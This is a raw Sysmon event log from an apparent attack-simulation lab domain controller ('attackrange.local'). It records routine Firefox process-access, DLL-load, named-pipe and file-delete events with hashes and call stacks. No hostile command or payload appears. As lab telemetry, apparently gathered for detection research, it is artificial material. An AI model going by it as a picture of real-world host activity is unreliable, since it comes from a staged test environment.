Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 10341000x800000000000000050492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\linkinfo.dll10.0.14393.0 (rs1_release.160715-1616)Windows Volume TrackingMicrosoft® Windows® Operating SystemMicrosoft CorporationLINKINFO.DLLMD5=4CE9B67A187310E37E535FC4165E0933,SHA256=469B33A5DDAA93D28F66AE6D6956268F6F2F09F146734D00A931FBDD1D87DE42,IMPHASH=F3640F50846C35CCE7151F1E835AE727trueMicrosoft WindowsValid 734700x800000000000000050485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\actxprxy.dll10.0.14393.3808 (rs1_release.200707-2105)ActiveX Interface Marshaling LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationActXPrxy.dllMD5=087C47C19BBFCB9F4932C03C0189E86B,SHA256=9BEE35FBFA2E595372D82E8858BE46CE7717E0399996960398BC238F4D0E5207,IMPHASH=24160898971C9C6FED5AE429E3AAD3DAtrueMicrosoft WindowsValid 10341000x800000000000000050484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.508{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.508{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000050481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.508{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.508{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nlaapi.dll10.0.14393.3808 (rs1_release.200707-2105)Network Location Awareness 2Microsoft® Windows® Operating SystemMicrosoft Corporationnlaapi.dllMD5=63EB5F68082B8C8C392E5DAC1D4EC678,SHA256=58EC364601FA6FE26525D8ADB44B7EDEFCFB73E72897C77B6E37F73E1C7BF871,IMPHASH=0B7F4620EB804B43452C1AFA5341A2C2trueMicrosoft WindowsValid 734700x800000000000000050479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.508{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winrnr.dll10.0.14393.0 (rs1_release.160715-1616)LDAP RnR Provider DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationwinrnrMD5=B0DE13ABF238AB28E963629B977A012F,SHA256=43288C8A658C2F0CB0CB1C9D874506D6CEEF455AAB68CE2EF0D685DE8E3BA0C3,IMPHASH=77C2BDF68EAD031D294626FB2F3033A1trueMicrosoft WindowsValid 10341000x800000000000000050478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.508{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a462d8|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a52a99|C:\Program Files\Mozilla Firefox\xul.dll+e415b8|C:\Program Files\Mozilla Firefox\xul.dll+19d7315|C:\Program Files\Mozilla Firefox\xul.dll+19cb8d2|C:\Program Files\Mozilla Firefox\xul.dll+19a2909|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 18141800x800000000000000050477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:24.508{7BD73061-728D-613B-560B-00000000F001}4776\cubeb-pipe-4776-1C:\Program Files\Mozilla Firefox\firefox.exe 17141700x800000000000000050476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:24.508{7BD73061-728D-613B-560B-00000000F001}4776\cubeb-pipe-4776-1C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.504{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 10341000x800000000000000050474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.504{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+c04bf0|C:\Program Files\Mozilla Firefox\xul.dll+c0456d|C:\Program Files\Mozilla Firefox\xul.dll+bfd604|C:\Program Files\Mozilla Firefox\xul.dll+c02a70|C:\Program Files\Mozilla Firefox\xul.dll+c031cb|C:\Program Files\Mozilla Firefox\xul.dll+396c71|C:\Program Files\Mozilla Firefox\xul.dll+c03f99|C:\Program Files\Mozilla Firefox\xul.dll+c06f52|C:\Program Files\Mozilla Firefox\xul.dll+c039b6|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+be47e3|C:\Program Files\Mozilla Firefox\xul.dll+1f02d5c 734700x800000000000000050473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.502{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\NapiNSP.dll10.0.14393.0 (rs1_release.160715-1616)E-mail Naming Shim ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationnapinsp.dllMD5=71514D9A6350A37B4F0BAA6ACB751771,SHA256=5DB99D6784900D85BB4A62E9F40B4EC628054D41B38A5E93F80C7A8BB066EBBB,IMPHASH=8D3297F500E5144336C044019A1ACFD4trueMicrosoft WindowsValid 18141800x800000000000000050472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:24.486{7BD73061-728F-613B-5C0B-00000000F001}6212\chrome.4776.4.92554732C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.486{7BD73061-728D-613B-560B-00000000F001}47766152C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+1b5a9c|C:\Program Files\Mozilla Firefox\xul.dll+a0c416|C:\Program Files\Mozilla Firefox\xul.dll+a06fcf|C:\Program Files\Mozilla Firefox\xul.dll+19c3d4d|C:\Program Files\Mozilla Firefox\xul.dll+19c2501|C:\Program Files\Mozilla Firefox\xul.dll+13ca5|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+13388|C:\Program Files\Mozilla Firefox\xul.dll+9e92c1|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 17141700x800000000000000050470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:24.486{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.4.92554732C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000050469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.486{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E690EA0B9A3AF82FAF8093AFE7AE8A34,SHA256=184CB181F91FAFE4EEC66BD3590066AE94DFEDB6C98C0ED6539A6848EDC3D032,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.486{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.486{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.486{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntmarta.dll10.0.14393.0 (rs1_release.160715-1616)Windows NT MARTA providerMicrosoft® Windows® Operating SystemMicrosoft Corporationntmarta.dllMD5=854A3CAE7C97B630158C9F7EE8555970,SHA256=20F0A4D99C5095A0CAC39B816BFC987F64CD051843C79E027714666375986176,IMPHASH=98050D95AE15C8382F287539F2BF65FAtrueMicrosoft WindowsValid 10341000x800000000000000050465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.486{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.470{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000050463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:24.470{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.3.32351398C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.470{7BD73061-728D-613B-560B-00000000F001}47763944C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+133dab|C:\Program Files\Mozilla Firefox\xul.dll+121475d|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000050461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:24.470{7BD73061-728D-613B-560B-00000000F001}4776\gecko-crash-server-pipe.4776C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.454{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\userenv.dll10.0.14393.4583 (rs1_release.210730-1850)UserenvMicrosoft® Windows® Operating SystemMicrosoft Corporationuserenv.dllMD5=E0F286AF345442E267C33880492CED31,SHA256=5C6D66F5A748551999BE1CDE33A3A1FC2E10D1297EF275D232A9FDCC95BEA84B,IMPHASH=C84FC60AE2A79A06E8C46A6929CDECB4trueMicrosoft WindowsValid 734700x800000000000000050459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.454{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000050458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.454{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wtsapi32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Remote Desktop 